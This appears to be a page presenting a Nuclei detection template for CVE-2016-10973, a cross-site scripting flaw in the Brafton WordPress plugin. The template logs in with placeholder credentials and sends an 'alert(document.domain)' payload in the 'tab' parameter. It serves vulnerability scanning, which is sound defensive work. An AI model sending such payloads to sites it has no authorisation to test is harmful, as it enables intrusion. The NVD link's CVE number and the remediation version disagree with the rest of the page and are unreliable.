Brafton WordPress Plugin < 3.4.8 - Cross-Site Scripting

ID: CVE-2016-10973

Severity: medium

Author: Harsh

Tags: cve2016,cve,wpscan,wordpress,wp,wp-plugin,xss,brafton,authenticated

Description

The Brafton plugin before 3.4.8 for WordPress has XSS via the wp-admin/admin.php?page=BraftonArticleLoader tab parameter to BraftonAdminPage.php.

YAML Source

id: CVE-2016-10973

info:
  name: Brafton WordPress Plugin < 3.4.8 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The Brafton plugin before 3.4.8 for WordPress has XSS via the wp-admin/admin.php?page=BraftonArticleLoader tab parameter to BraftonAdminPage.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version of the Brafton WordPress Plugin (version 3.4.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/93568433-0b63-4ea7-bbac-4323d3ee0abd
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10973
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-10973
    cwe-id: CWE-79
    epss-score: 0.00177
    epss-percentile: 0.54797
    cpe: cpe:2.3:a:brafton:brafton:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: brafton
    product: brafton
    framework: wordpress
  tags: cve2016,cve,wpscan,wordpress,wp,wp-plugin,xss,brafton,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=alert%28document.domain%29 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "tab = alert(document.domain);")'
          - 'contains(body_2, "Brafton Article Loader")'
        condition: and
# digest: 4a0a0047304502207cb5a8050bbbfa4237c2ec735252808d6e0987e4f1299e4bb56edc7e165d5245022100adcc3941d117154c11e2a777ce6d7d222e7ce9389c4443af5ff8d6173447456a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-10973.yaml"

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